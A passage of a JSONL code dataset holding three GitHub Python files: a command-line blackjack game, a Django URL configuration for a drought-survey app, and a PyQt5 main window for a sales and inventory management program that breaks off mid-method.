+{"seq_id":"33928438689","text":"import random\nclass blackjack:\n  def __init__(self, name, buyin=0, card=[]):\n    self.name = name\n    self.bet = 0\n    self.result = ''\n    \n    self.casinopt = 0\n    self.playerpt = 0\n    self.playerhit = []\n    self.casinohit =[]\n    self.buyin = buyin\n    self.cards = card\n    \n  def __repr__(self):\n    return ('Dear {name}, You buyin ${buyin} on BlackJack, good luck!').format(buyin= self.buyin, name= self.name)\n  \n  \n    \n  def playgame(self):\n    self.bet = int(input('please place your bet: '))\n    if (len(self.cards) > (decks/8*52*1.5) and self.buyin >= self.bet):\n        self.playerhit = []\n        self.casinohit =[]\n        self.casinohit.append(random.choice(self.cards))\n        self.casinohit.append(random.choice(self.cards))\n        \n        self.playerhit.append(random.choice(self.cards))\n        self.playerhit.append(random.choice(self.cards))\n        if((self.casinohit[0] == 'Ace' and (self.casinohit[1] == 10 or self.casinohit[1] == 'J' or self.casinohit[1] == 'Q' or self.casinohit[1] == 'K')) or (self.casinohit[1] == 'Ace' and (self.casinohit[0] == 10 or self.casinohit[0] == 'J' or self.casinohit[0] == 'Q' or self.casinohit[0] == 'K')) and (self.playerhit[0] == 'Ace' and (self.playerhit[1] == 10 or self.playerhit[1] == 'J' or self.playerhit[1] == 'Q' or self.playerhit[1] == 'K')) or (self.playerhit[1] == 'Ace' and (self.playerhit[0] == 10 or self.playerhit[0] == 'J' or self.playerhit[0] == 'Q' or self.playerhit[0] == 'K'))):\n            print('Push! No one wins.')\n        elif (self.casinohit[0] == 'Ace' and (self.casinohit[1] == 10 or self.casinohit[1] == 'J' or self.casinohit[1] == 'Q' or self.casinohit[1] == 'K')) or (self.casinohit[1] == 'Ace' and (self.casinohit[0] == 10 or self.casinohit[0] == 'J' or self.casinohit[0] == 'Q' or self.casinohit[0] == 'K')):\n            print('You lose, Dealer BlackJack')\n            self.buyin -= self.bet\n        elif(self.playerhit[0] == 'Ace' and (self.playerhit[1] == 10 or self.playerhit[1] == 'J' or self.playerhit[1] == 'Q' or self.playerhit[1] == 'K')) or (self.playerhit[1] == 'Ace' and (self.playerhit[0] == 10 or self.playerhit[0] == 'J' or self.playerhit[0] == 'Q' or self.playerhit[0] == 'K')):\n            print('You won, winer winer, chicken dinner! You got BlackJack, payout 1:1.5, you won {money}'.format(money= self.bet*1.5 ))\n            self.buyin += self.bet * 1.5\n        else:\n            print(('Dealer has a card {card} faceup, and you have {card1} and {card2}.').format(card= self.casinohit[0], card1=self.playerhit[0],card2=self.playerhit[1]))\n            self.cards.remove(self.casinohit[0])\n            self.cards.remove(self.casinohit[1])\n            self.cards.remove(self.playerhit[0])\n            self.cards.remove(self.playerhit[1])\n            self.result = input('Do you want to hit, surrender, double, or stay? ')\n        while (self.result == 'hit' ):\n            self.playerhit.append(random.choice(self.cards))\n            print('The card you hit is {card}'.format(card = self.playerhit[len(self.playerhit)-1]))\n            print('You have '+str(self.playerhit)+' on hand')\n            self.cards.remove(self.playerhit[len(self.playerhit)-1])\n            self.playerpt = 0\n            for i in self.playerhit:\n                if i == 'J' or i == 'Q' or i == 'K' :\n                    self.playerpt += 10\n                elif i == 'Ace':\n                    self.playerpt += 1\n                else:\n                    self.playerpt += i\n            \n            if self.playerpt <= 21:\n                self.result = input('Do you want to hit, or stay? ')\n                while (self.result != 'hit' and self.result != 'stay'):\n                   self.result = input('Do you want to hit, or stay? ')\n                \n            else:\n                print('Boom! Greater than 21. You lose.')\n                self.buyin -= self.bet\n                break\n            \n            \n        if (self.result == 'surrender'):\n            print('You choose to surrender, lose half of bet')\n            self.buyin -= self.bet/2\n        elif (self.result == 'double'):\n            if self.buyin >= self.bet*2:\n                self.playerhit.append(random.choice(self.cards))\n                print('The card you double is {card}'.format(card = self.playerhit[len(self.playerhit)-1]))\n                self.bet *= 2\n                self.cards.remove(self.playerhit[len(self.playerhit)-1])\n                if self.checkplayerpt() == self.checkcasinopt():\n                    print('Push!\\nYour hand: ' +str(self.playerhit)+ '\\nCasino hand:'+str(self.casinohit))\n                elif self.checkcasinopt()>21 or self.checkplayerpt() > self.checkcasinopt():\n                    print('You win! \\nYour hand: ' +str(self.playerhit)+ '\\nCasino hand:'+str(self.casinohit))\n                    self.buyin += self.bet\n                \n                else:\n                    print('You lose!\\nYour hand: ' +str(self.playerhit)+ '\\nCasino hand:'+str(self.casinohit))\n                    self.buyin -= self.bet\n            else:\n                print('You don\\'t have enough money to double. This game will count as hit.')\n                self.playerhit.append(random.choice(self.cards))\n                print('The card you hit is {card}'.format(card = self.playerhit[len(self.playerhit)-1]))\n                self.bet *= 1\n                self.cards.remove(self.playerhit[len(self.playerhit)-1])\n                if self.checkplayerpt() == self.checkcasinopt():\n                    print('Push!\\nYour hand: ' +str(self.playerhit)+ '\\nCasino hand:'+str(self.casinohit))\n                elif self.checkcasinopt()>21 or self.checkplayerpt() > self.checkcasinopt():\n                    print('You win! \\nYour hand: ' +str(self.playerhit)+ '\\nCasino hand:'+str(self.casinohit))\n                    self.buyin += self.bet\n                \n                else:\n                    print('You lose!\\nYour hand: ' +str(self.playerhit)+ '\\nCasino hand:'+str(self.casinohit))\n                    self.buyin -= self.bet\n        elif (self.result == 'stay'):\n            if self.checkplayerpt() == self.checkcasinopt():\n                print('Push!\\nYour hand: ' +str(self.playerhit)+ '\\nCasino hand:'+str(self.casinohit))\n            elif self.checkcasinopt()>21 or self.checkplayerpt() > self.checkcasinopt():\n            \n                print('You win! \\nYour hand: ' +str(self.playerhit)+ '\\nCasino hand:'+str(self.casinohit))\n                self.buyin += self.bet\n            else:\n                print('You lose!\\nYour hand: ' +str(self.playerhit)+ '\\nCasino hand:'+str(self.casinohit))\n                self.buyin -= self.bet\n        self.continueplay()\n    elif (self.bet > self.buyin):\n        print('You don\\'t have enough credit to play.')\n        outcome= input('Do you want to buy in more credits or leave? (Buyin = b , Leave = l , Chceck balance = c)')\n        if outcome == 'b':\n            self.buyin += int(input('How much you want to buy in? Please give me a number'))\n            print('You total balance now is ${buyin}, good luck!'.format(buyin = self.buyin))\n            self.playgame()\n        elif outcome == 'l':\n            \n            print('You total balance now is ${buyin}, good luck!'.format(buyin = self.buyin))\n        elif outcome == 'c':\n            \n            print('You total balance now is ${buyin}, good luck!'.format(buyin = self.buyin))\n            self.continueplay()\n            \n    else:\n        print('Please wait a second, run out of cards, will shuffle in a minute')\n        self.cards = cards\n        self.continueplay()\n\n    # elif (self.result != 'stay' or self.result != 'surrender' or self.result != 'double' or self.result != 'hit'):\n    #     print('please type in correct action')\n    #     self.result = input('Do you want to hit, surrender, double, or stay? ')   \n  def checkplayerpt(self):\n    self.playerpt = 0\n    for i in self.playerhit:\n      if i == 'J' or i == 'Q' or i == 'K' :\n        self.playerpt += 10\n      elif i == 'Ace':\n        self.playerpt += 1\n      else:\n        self.playerpt += i\n    for i in range(self.playerhit.count('Ace')):\n      if (self.playerpt +10 )<= 21:\n        self.playerpt +=10\n    return self.playerpt\n  def checkcasinopt(self):\n    self.casinopt = 0\n    for i in self.casinohit:\n        if i == 'J' or i == 'Q' or i == 'K' :\n          self.casinopt += 10\n        elif i == 'Ace':\n          self.casinopt += 11\n          if (self.casinopt ) > 21:\n            self.casinopt -=10\n        else:\n          self.casinopt += i\n    while(self.casinopt <=16 ):\n        self.casinohit.append(random.choice(self.cards))\n        self.cards.remove(self.casinohit[len(self.casinohit)-1])\n        print('casino just draw a {card}'.format(card= self.casinohit[len(self.casinohit)-1]))\n        index = self.casinohit[len(self.casinohit)-1]\n        \n        if index == 'J' or index == 'Q' or index == 'K' :\n            self.casinopt += 10\n        elif index == 'Ace':\n            self.casinopt += 11\n            if (self.casinopt ) > 21:\n                self.casinopt -=10\n        else:\n            self.casinopt += index\n        \n        return self.casinopt\n    return self.casinopt\n  def continueplay(self):\n    self.casinopt = 0\n    choice = input('Do you want to continue playing?  (y/n) ')\n    if choice =='y':\n      self.playgame()\n      \n    elif choice == 'n':\n      print('You have ${buyin} left, you can cashout'.format(buyin = self.buyin))\n    else:\n      print('please type in the answer')\n      self.continueplay()\n\n\nname = input('Dear Sir/Ma\\'am, welcome to the blackjack table, how should I call you?  ')\ncash = ''\nwhile( type(cash) != type(5)):\n    try:\n        cash = int(input('How much you want to buy in the game? '))\n    except (ValueError):\n        print('please enter a number')\ncards = ['Ace',2,3,4,5,6,7,8,9,10,'J','Q','K']\ndecks = ''\nwhile(type(decks) != type(5)):\n    try:\n        decks = int(input('choose deck of cards you want to play with.(1 to 8 decks) '))\n    except (ValueError):\n        print('please enter a number')\n    \ncards *= 4 * int(decks)\n\n\nplayer1 = blackjack(name, cash, cards) \nprint(player1)\nprint(player1.playgame())\n\n","repo_name":"qdeng8953/Blackjack","sub_path":"Blackjack-game.py","file_name":"Blackjack-game.py","file_ext":"py","file_size_in_byte":10141,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"71347751518","text":"import os\nfrom django.conf.urls.defaults import *\nfrom django.conf import settings\nfrom sequias.models import Encuesta\n\ninfo = {\n         'queryset': Encuesta.objects.all(),\n}\n\nurlpatterns = patterns('sequia.sequias.views',\n    (r'^index/$', 'consultar'),\n    (r'^perdida/$', 'perdidapostrera'),\n    (r'^perdida/grafos/$', 'grafo_perdida'),\n    (r'^disponibilidad/$', 'disponibilidad'),\n    (r'^disponibilidad/grafos/$', 'grafo_disponibilidad'),\n    (r'^nutricion/$', 'nutricion'),\n    (r'^nutricion/grafos/$', 'grafo_nutricion'),\n    (r'^descargar/xls/$', 'hoja_calculo_xls'),\n    (r'^descargar/word/$', 'hoja_de_word'),\n    (r'^ajax/municipio/(?P<departamento>\\d+)/$', 'get_municipios'),\n    (r'^ajax/comunidad/(?P<municipio>\\d+)/$', 'get_comunidad'),\n    (r'^ajax/entrevista/(?P<comunidad>\\d+)/$', 'get_entrevista'),\n)\n","repo_name":"CARocha/sequia","sub_path":"sequias/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":822,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"70500851999","text":"import os\nimport subprocess\nimport time\n\nimport tempfile\nfrom builtins import getattr\n\nfrom PyQt5.QtCore import QThread\nfrom PyQt5.QtWidgets import (\n    QMainWindow,\n    QTableView,\n    QMessageBox,\n)\n\nfrom utils import has_certificate\n\n\nfrom sqlalchemy.exc import IntegrityError\n\nfrom clipboard import ClipBoard\n\nfrom pyVies import api\n\nimport advanced_definition_form\nimport rmas_incoming_form\nimport advanced_sale_proforma_form\nimport agentgui\nimport db\nimport expedition_form\nimport expenses_form\nimport inventory_form\nimport models\nimport partner_form\nimport payments_form\nimport product_form\nimport purchase_proforma_form\nimport reception_order\nimport sale_proforma_form\nimport documents_form\n\nfrom db import PurchaseProforma, PurchaseDocument, \\\n    SaleDocument, SaleProforma, correct_mask\n\nfrom models import SaleProformaModel, PurchaseProformaModel\nfrom pdfbuilder import build_document\nfrom ui_maingui import Ui_MainGui\nfrom utils import (\n    getTracking,\n    getNote,\n    get_directory\n)\n\n\nPASSWORD = '0010'\n\nPREFIXES = [\n    'agents_',\n    'partners_',\n    'proformas_purchases_',\n    'proformas_sales_',\n    'invoices_purchases_',\n    'invoices_sales_',\n    'warehouse_expeditions_',\n    'warehouse_receptions_',\n    'warehouse_incoming_rmas_',\n    'warehouse_outgoing_rmas_',\n    'tools_',\n    'rmas_incoming_',\n    'rmas_outgoing_',\n    'journal_entries_',\n    'banking_transactions_'\n]\n\nACTIONS = [\n    'apply',\n    'new',\n    'edit',\n    'delete',\n    'cancel',\n    'print',\n    'export',\n    'payments',\n    'expenses',\n    'docs',\n    'toinv',\n    'towh',\n    'ship',\n    'newadv',\n    'mail',\n    'options',\n    'dhl',\n    'process',\n    'double_click',\n    'search',\n    'create_warehouse',\n    'change_warehouse',\n    'create_spec',\n    'change_spec',\n    'create_condition',\n    'change_condition',\n    'change_description',\n    'check_inventory',\n    'create_product',\n    'view_pdf',\n    'advnorm',\n    'ready',\n    'import',\n    'dump',\n    'template',\n    'create_courier',\n    'export_excel',\n    'available_stock',\n    'trace',\n    'tocn',\n    'sii',\n    'harvest',\n    'facks',\n    'stock_valuation',\n    'issued_invoices',\n    'switch',\n    'top_partners',\n    'owing',\n    'whatsapp',\n    'new_entry'\n    'whatsapp',\n    'repairs',\n    'discounts',\n    'clean_database',\n    'agent_fees',\n    'weights'\n]\n\n\ndef clean_up_directories():\n    from contextlib import suppress\n    import os\n    with suppress(FileNotFoundError):\n        for file in filter(lambda s: s.endswith('.pdf'), os.listdir()):\n            os.remove(file)\n\n    with suppress(FileNotFoundError):\n        for file in os.listdir(os.path.join(os.curdir, 'temp')):\n            os.remove(os.path.join(os.curdir, 'temp', file))\n\n\ndef get_prefix(model):\n    if isinstance(model, (SaleProformaModel, PurchaseProformaModel)):\n        return 'PI '\n    return 'INV'\n\ndef view_document(view, model):\n    ixs = view.selectedIndexes()\n    if not ixs:\n        return\n    row = {i.row() for i in ixs}.pop()\n    document = model[row]\n    filename = get_prefix(model) + document.doc_repr + '.pdf'\n    pdf_object = build_document(document)\n\n    with tempfile.NamedTemporaryFile('wb', dir='.', delete=False, suffix='.pdf') as file:\n        pdf_object.output(file.name)\n        subprocess.Popen((file.name, ), shell=True)\n\n\n\ndef view_document_old(view, model):\n    ixs = view.selectedIndexes()\n    if not ixs:\n        return\n    row = {i.row() for i in ixs}.pop()\n    document = model[row]\n    filename = get_prefix(model) + document.doc_repr + '.pdf'\n    pdf = build_document(document)\n\n    pdf.output(filename)\n\n    subprocess.Popen((filename,), shell=True)\n\n\ndef dump_rma(candidates, xlsx_file_path):\n    from openpyxl import load_workbook\n    try:\n        workbook = load_workbook(xlsx_file_path)\n        ws = workbook.active\n        max_row = ws.max_row\n        accepted_lines = filter(\n            lambda l: l.accepted != 'n' and not models.exists_credit_line(l.sn),\n            candidates\n        )\n\n        for i, line in enumerate(accepted_lines, start=1):\n            for j, value in enumerate(line.as_excel_row, start=1):\n                ws.cell(max_row + i, j, value=value)\n\n        workbook.save(xlsx_file_path)\n\n    except: # If it does not work, ignore completely\n        pass\n\n\nfrom utils import is_work_time\n\nclass UpdateChecker(QThread):\n    def __init__(self, parent=None):\n        super().__init__(parent)\n        self.parent = parent\n\n    def run(self):\n        while True:\n            self.check_updates()\n            time.sleep(60 * 15)\n            if not is_work_time():\n                break\n\n    def check_updates(self):\n\n        from checkgit import check_update_available\n        message = check_update_available()\n        if message:\n            self.parent.statusBar.showMessage('Update available: ' + message + '. Re-run the program to update.')\n\nclass MainGui(Ui_MainGui, QMainWindow):\n\n    def __init__(self, parent=None):\n        super().__init__(parent)\n        self.setupUi(self)\n        self.setCentralWidget(self.main_tab)\n\n        self.clipboard = ClipBoard(data='', form=self)\n\n        self.update_checker = UpdateChecker(parent=self)\n        self.update_checker.start()\n\n        self.main_tab.setTabVisible(8, False)  # Hide accounting tab\n\n        # For closing\n        self.opened_windows_instances = set()\n        # Prevent creating multiple\n        self.opened_windows_classes = set()\n\n        self.main_tab.setCurrentIndex(0)\n\n        self.init_models()\n\n        self.set_handlers()\n\n        self.main_tab.currentChanged.connect(self.tab_changed)\n\n    def export_documents(self, view, model, ask_directory=True):\n        rows = {i.row() for i in view.selectedIndexes()}\n        if not rows:\n            return\n\n        if not ask_directory:\n            from utils import get_desktop\n            directory = get_desktop()\n\n        else:\n            directory = get_directory(self)\n\n        if not directory:\n            return\n\n        for row in rows:\n            doc = model[row]\n            if isinstance(doc, (db.SaleInvoice, db.PurchaseInvoice)):\n                name = 'INV ' + doc.doc_repr + '.pdf'\n            elif isinstance(doc, db.PurchaseProforma):\n                name = 'PO ' + doc.doc_repr + '.pdf'\n            else:\n                name = 'PI ' + doc.doc_repr + '.pdf'\n\n            pdf = build_document(doc)\n            path = os.path.join(directory, name)\n            pdf.output(path)\n        return path\n\n    def selection_changed_generic(self, view):\n        rows = {i.row() for i in view.selectedIndexes()}\n        total, paid, device_count, owing = 0, 0, 0, 0\n\n        for row in rows:\n            doc = view.model()[row]\n            paid += sum(p.amount for p in doc.payments)\n            total += doc.total_debt\n            device_count += doc.device_count\n            owing += doc.owing\n\n        name = view.objectName()\n        prefix = name[0:name.rfind('_') + 1]\n\n        getattr(self, prefix + 'total').setText('Total: ' + str(round(total, 2)))\n        getattr(self, prefix + 'paid').setText('Paid: ' + str(round(paid, 2)))\n\n        try:\n            label = getattr(self, prefix + 'owing')\n            text = 'Owes: ' if prefix in ('invoices_sales_', 'proformas_sales_') else 'Owing: '\n            label.setText(text + str(owing))\n\n            getattr(self, prefix + 'device_count').\\\n                setText('Processed Devices: ' + str(device_count))\n        except AttributeError:\n            pass\n\n    def init_models(self):\n        for prefix in PREFIXES:\n            self.set_mv(prefix, last=0)\n\n    def set_mv(self, prefix, search_key=None, filters=None, last=10):\n        from utils import setCommonViewConfig\n        from delegates import WarningEditDelegate, JournalEntryTypeDelegate\n\n        try:\n            last_field = getattr(self, prefix + 'last')\n        except AttributeError:\n            pass\n        else:\n            try:\n                last = int(last_field.text())\n            except ValueError:\n                if last_field.text() == '':\n                    last = 366\n\n        if prefix == 'banking_transactions_':\n            self.banking_transactions_model = models.BankingTransactionModel()\n            self.banking_transactions_view.setModel(self.banking_transactions_model)\n\n        elif prefix == 'journal_entries_':\n            self.journal_entries = models.JournalEntriesModel()\n            self.journal_entries_view.setModel(self.journal_entries)\n            self.journal_entries_view.resizeColumnToContents(0)\n            self.journal_entries_view.resizeColumnToContents(5)\n            self.journal_entries_view.setItemDelegate(JournalEntryTypeDelegate(self.journal_entries_view))\n\n        elif prefix == 'agents_':\n            self.agents_model = models.AgentModel(search_key=search_key)\n            self.agents_view.setModel(self.agents_model)\n            setCommonViewConfig(self.agents_view)\n            self.agents_view.resizeColumnToContents(1)\n            self.agents_view.resizeColumnToContents(3)\n\n        elif prefix == 'partners_':\n            self.partners_model = models.PartnerModel(search_key=search_key)\n            self.partners_view.setModel(self.partners_model)\n            setCommonViewConfig(self.partners_view)\n            self.partners_view.resizeColumnToContents(1)\n            self.partners_view.resizeColumnToContents(2)\n            self.partners_view.resizeColumnToContents(3)\n            self.partners_view.resizeColumnToContents(7)\n\n        elif prefix == 'proformas_purchases_':\n\n            self.proformas_purchases_model = \\\n                models.PurchaseProformaModel(filters=filters, search_key=search_key, last=last)\n            self.proformas_purchases_view.setModel(self.proformas_purchases_model)\n\n            # Inmediately after setting model you need to put this code\n            self.proformas_purchases_view.selectionModel(). \\\n                selectionChanged.connect(self.proformas_purchases_selection_changed)\n\n            self.proformas_purchases_view.setSelectionBehavior(QTableView.SelectRows)\n            self.proformas_purchases_view.setSortingEnabled(True)\n            self.proformas_purchases_view.setAlternatingRowColors(True)\n            self.proformas_purchases_view.resizeColumnToContents(3)\n            self.proformas_purchases_view.resizeColumnToContents(4)\n            self.proformas_purchases_view.resizeColumnToContents(5)\n            self.proformas_purchases_view.resizeColumnToContents(6)\n\n        elif prefix == 'invoices_purchases_':\n            self.invoices_purchases_model = \\\n                models.PurchaseInvoiceModel(filters=filters, search_key=search_key, last=last)\n            self.invoices_purchases_view.setModel(self.invoices_purchases_model)\n\n            self.invoices_purchases_view.selectionModel(). \\\n                selectionChanged.connect(self.invoices_purchases_selection_changed)\n\n            self.invoices_purchases_view.setSelectionBehavior(QTableView.SelectRows)\n            self.invoices_purchases_view.setSortingEnabled(True)\n            self.invoices_purchases_view.setAlternatingRowColors(True)\n\n            self.invoices_purchases_view.resizeColumnToContents(3)\n            self.invoices_purchases_view.resizeColumnToContents(4)\n            self.invoices_purchases_view.resizeColumnToContents(13)\n\n\n        elif prefix == 'invoices_sales_':\n            self.invoices_sales_model = \\\n                models.SaleInvoiceModel(filters=filters, search_key=search_key, last=last)\n            self.invoices_sales_view.setModel(self.invoices_sales_model)\n\n            self.invoices_sales_view.selectionModel(). \\\n                selectionChanged.connect(self.invoices_sales_selection_changed)\n\n            self.invoices_sales_view.setItemDelegate(\n                WarningEditDelegate(\n                    parent=self,\n                    column=self.invoices_sales_model.WARNING\n                )\n            )\n\n            self.invoices_sales_view.setSelectionBehavior(QTableView.SelectRows)\n            self.invoices_sales_view.setSortingEnabled(True)\n            self.invoices_sales_view.setAlternatingRowColors(True)\n\n            self.invoices_sales_view.resizeColumnsToContents()\n\n\n        elif prefix == 'proformas_sales_':\n\n            self.proformas_sales_model = \\\n                models.SaleProformaModel(filters=filters, search_key=search_key, last=last)\n            self.proformas_sales_view.setModel(\n                self.proformas_sales_model\n            )\n            self.proformas_sales_view_delegate = WarningEditDelegate(\n                parent=self, column=self.proformas_sales_model.WARNING\n            )\n            self.proformas_sales_view.setItemDelegate(\n                self.proformas_sales_view_delegate\n            )\n\n            self.proformas_sales_view.selectionModel(). \\\n                selectionChanged.connect(self.proformas_sales_selection_changed)\n\n            self.proformas_sales_view.setSelectionBehavior(QTableView.SelectRows)\n            self.proformas_sales_view.setAlternatingRowColors(True)\n            self.proformas_sales_view.setSortingEnabled(True)\n\n            self.proformas_sales_view.resizeColumnsToContents()\n\n            correct_mask()\n\n\n        elif prefix == 'warehouse_receptions_':\n            self.warehouse_receptions_model = \\\n                models.ReceptionModel(filters=filters, search_key=search_key, last=last)\n            self.warehouse_receptions_view.setModel(self.warehouse_receptions_model)\n            self.warehouse_receptions_view.setSelectionBehavior(QTableView.SelectRows)\n            self.warehouse_receptions_view.setSortingEnabled(True)\n            self.warehouse_receptions_view.setAlternatingRowColors(True)\n\n            self.warehouse_receptions_view.resizeColumnToContents(6)\n            self.warehouse_receptions_view.resizeColumnToContents(7)\n            self.warehouse_receptions_view.resizeColumnToContents(8)\n            self.warehouse_receptions_view.resizeColumnToContents(4)\n\n        elif prefix == 'warehouse_expeditions_':\n            self.warehouse_expeditions_model = \\\n                models.ExpeditionModel(filters=filters, search_key=search_key, last=last)\n            self.warehouse_expeditions_view.setModel(self.warehouse_expeditions_model)\n            self.warehouse_expeditions_view.setSelectionBehavior(QTableView.SelectRows)\n            self.warehouse_expeditions_view.setAlternatingRowColors(True)\n            self.warehouse_expeditions_view.setSortingEnabled(True)\n\n            self.warehouse_expeditions_view.resizeColumnToContents(6)\n            self.warehouse_expeditions_view.resizeColumnToContents(7)\n            self.warehouse_expeditions_view.resizeColumnToContents(8)\n            self.warehouse_expeditions_view.resizeColumnToContents(4)\n\n        elif prefix == 'rmas_incoming_':\n            self.rmas_incoming_model = models.RmaIncomingModel(\n                search_key=search_key, filters=filters, last=last)\n            self.rmas_incoming_view.setModel(self.rmas_incoming_model)\n\n            self.rmas_incoming_view.setSelectionBehavior(QTableView.SelectRows)\n            self.rmas_incoming_view.setSortingEnabled(True)\n            self.rmas_incoming_view.setAlternatingRowColors(True)\n\n        elif prefix == 'warehouse_incoming_rmas_':\n            self.warehouse_rma_incoming_model = models.WhRmaIncomingModel(\n                search_key=search_key, filters=filters, last=last\n            )\n            self.warehouse_incoming_rmas_view.setModel(self.warehouse_rma_incoming_model)\n            self.warehouse_incoming_rmas_view.setSelectionBehavior(QTableView.SelectRows)\n            self.warehouse_incoming_rmas_view.setSortingEnabled(True)\n            self.warehouse_incoming_rmas_view.setAlternatingRowColors(True)\n\n    def set_handlers(self):\n        from itertools import product\n        for prefix, action in product(PREFIXES, ACTIONS):\n            try:\n                widget_name = prefix + action\n\n                self.attach_handler(prefix, action)\n            except AttributeError:\n                continue\n\n    def attach_handler(self, prefix, action):\n        try:\n            if action == 'apply':\n                handler = getattr(self, action + '_handler')\n                widget = getattr(self, prefix + action)\n                widget.clicked.connect(handler)\n            elif action == 'double_click':\n                if prefix == 'proformas_sales_':\n                    return\n                else:\n                    handler = getattr(self, prefix + action + '_handler')\n                    widget = getattr(self, prefix + 'view')\n                    widget.doubleClicked.connect(handler)\n\n            elif action == 'search':\n                handler = getattr(self, action + '_handler')\n                widget = getattr(self, prefix + action)\n                widget.returnPressed.connect(handler)\n            else:\n                handler = getattr(self, prefix + action + '_handler')\n                widget = getattr(self, prefix + action)\n                widget.clicked.connect(handler)\n\n        except AttributeError:\n            raise\n\n    def get_filters(self, *, prefix):\n        filters = {}\n        for name in [\n            'types', 'financial', 'shipment',\n            'logistic', 'cancelled', 'rmas_incoming'\n        ]:\n            try:\n                filters[name] = getattr(self, name)(prefix=prefix)\n            except AttributeError:\n                continue\n        return filters\n\n    def rmas_incoming(self, prefix):\n        return [\n            name for name in (\n                'empty', 'rejected', 'partially_accepted',\n                'accepted'\n            ) if getattr(self, prefix + name).isChecked()\n        ]\n\n    def cancelled(self, prefix):\n        return [\n            name for name in (\n                'cancelled', 'notcancelled'\n            ) if getattr(self, prefix + name).isChecked()\n        ]\n\n    def types(self, *, prefix):\n        return [\n            i for i in range(1, 7)\n            if getattr(self, prefix + 'serie' + str(i)).isChecked()\n        ]\n\n    def financial(self, *, prefix):\n        return [\n            name for name in (\n                'notpaid', 'partiallypaid', 'fullypaid'\n            ) if getattr(self, prefix + name).isChecked()\n        ]\n\n    def shipment(self, *, prefix):\n        return [\n            name for name in ('sent', 'notsent')\n            if getattr(self, prefix + name).isChecked()\n        ]\n\n    def logistic(self, *, prefix):\n        return [\n            name for name in (\n                'empty', 'partially_processed',\n                'completed', 'overflowed'\n            ) if getattr(self, prefix + name).isChecked()\n        ]\n\n    def apply_handler(self):\n        object_name = self.sender().objectName()\n        prefix = object_name[0:object_name.rfind('_') + 1]\n        filters = self.get_filters(prefix=prefix)\n        search_key = getattr(self, prefix + 'search').text()\n        self.set_mv(prefix, search_key=search_key, filters=filters)\n\n    def search_handler(self):\n        widget = self.sender()\n        object_name = widget.objectName()\n        prefix = object_name[0:object_name.rfind('_') + 1]\n        filters = self.get_filters(prefix=prefix)\n        search_key = widget.text()\n        self.set_mv(prefix, filters=filters, search_key=search_key)\n\n     # Agents Handlers:\n\n    def agents_double_click_handler(self, index):\n        self.launch_agent_form(index)\n\n    def agents_new_handler(self):\n        self.launch_agent_form()\n\n    def agents_edit_handler(self):\n        indexes = self.agents_view.selectedIndexes()\n        if indexes:\n            index = indexes[0]\n            self.launch_agent_form(index)\n\n    def launch_agent_form(self, index=None):\n        if agentgui.AgentGui not in self.opened_windows_classes:\n            self.a = agentgui.AgentGui(self, self.agents_view, index)\n            self.a.show()\n\n            self.opened_windows_instances.add(self.a)\n            self.opened_windows_classes.add(agentgui.AgentGui)\n\n    def agents_search_handler(self):\n        key = self.agent_search_line_edit.text()\n        self.setUpAgentsModelAndView(search_key=key)\n\n    def agents_delete_handler(self):\n        indexes = self.agents_view.selectedIndexes()\n        if indexes:\n            index = indexes[0]\n            try:\n                self.agentModel.delete(index)\n                self.agents_view.clearSelection()\n            except IntegrityError as e:\n                if e.orig.args[0] == 1451:\n                    QMessageBox.critical(self, 'Error - Delete', \\\n                                         \"Could not delete Agent with data associated. Deactivate it.\")\n\n                    # Partners Handlers:\n\n    def partners_double_click_handler(self, index):\n        self.launch_partners_form(index)\n\n    def partners_new_handler(self):\n        self.launch_partners_form()\n\n    def partners_edit_handler(self):\n        indexes = self.partners_view.selectedIndexes()\n        if indexes:\n            index = indexes[0]\n            self.launch_partners_form(index)\n\n    def partners_delete_handler(self):\n        indexes = self.partners_view.selectedIndexes()\n        if indexes:\n            index = indexes[0]\n            try:\n                self.partnerModel.delete(index)\n                self.partners_view.clearSelection()\n            except IntegrityError as e:\n                QMessageBox.critical(self, \"Error - Delete\",\n                                     \"Could not delete Partner with data associated. Deactivate it.\")\n\n    def partners_search_handler(self):\n        key = self.partner_search_line_edit.text()\n        self.setUpPartnersModelAndView(search_key=key)\n\n    def launch_partners_form(self, index=None):\n        if partner_form.PartnerForm not in self.opened_windows_classes:\n            self.p = partner_form.PartnerForm(self, self.partners_view, index)\n            self.p.show()\n\n            self.opened_windows_instances.add(self.p)\n            self.opened_windows_classes.add(partner_form.PartnerForm)\n\n    def proformas_purchases_view_pdf_handler(self):\n        try:\n            view_document(\n                self.proformas_purchases_view,\n                self.proformas_purchases_model\n            )\n        except Exception:\n            # QMessageBox.critical(self, 'Error', 'Error viewing the file')\n            raise\n\n\n    def proformas_purchases_selection_changed(self, selection_model):\n        self.selection_changed_generic(self.proformas_purchases_view)\n\n    def proformas_purchases_double_click_handler(self, index):\n        row = index.row()\n        proforma = self.proformas_purchases_model[index.row()]\n        self.epp = purchase_proforma_form.EditableForm(proforma)\n        self.epp.show()\n\n    def proformas_purchases_new_handler(self):\n        self.ppf = purchase_proforma_form.Form(self.proformas_purchases_view)\n        self.ppf.show()\n\n\n    def proformas_purchases_cancel_handler(self):\n        indexes = self.proformas_purchases_view.selectedIndexes()\n        if not indexes:\n            return\n        if QMessageBox.question(self, 'Proformas - Cancel', 'Cancel proforma/s ?',\\\n                                QMessageBox.Yes | QMessageBox.No) == QMessageBox.No:\n            return\n        self.proformas_purchases_model.cancel(indexes)\n\n    def proformas_purchases_print_handler(self):\n        print('print')\n\n    def proformas_purchases_export_handler(self):\n        exported_path = self.export_documents(\n            self.proformas_purchases_view,\n            self.proformas_purchases_model\n        )\n        if exported_path:\n\n            QMessageBox.information(self, 'Success', 'Document Exported successfully')\n\n\n    def proformas_purchases_payments_handler(self, invoice=None):\n        if invoice:\n            proforma = invoice\n        else:\n            proforma = self.get_proforma_purchase()\n        if proforma:\n            payments_form.PaymentForm(self, proforma).exec_()\n\n    def proformas_purchases_expenses_handler(self, invoice=None):\n        if invoice:\n            proforma = invoice\n        else:\n            proforma = self.get_proforma_purchase()\n        if proforma:\n            expenses_form.ExpenseForm(self, proforma).exec_()\n\n    def proformas_purchases_docs_handler(self):\n        # documents_form.Form(self, self.get_proforma_purchase()).exec_()\n        pass\n\n    def proformas_purchases_toinv_handler(self):\n        rows = {index.row() for index in self.proformas_purchases_view.selectedIndexes()}\n        if not rows:\n            return\n\n        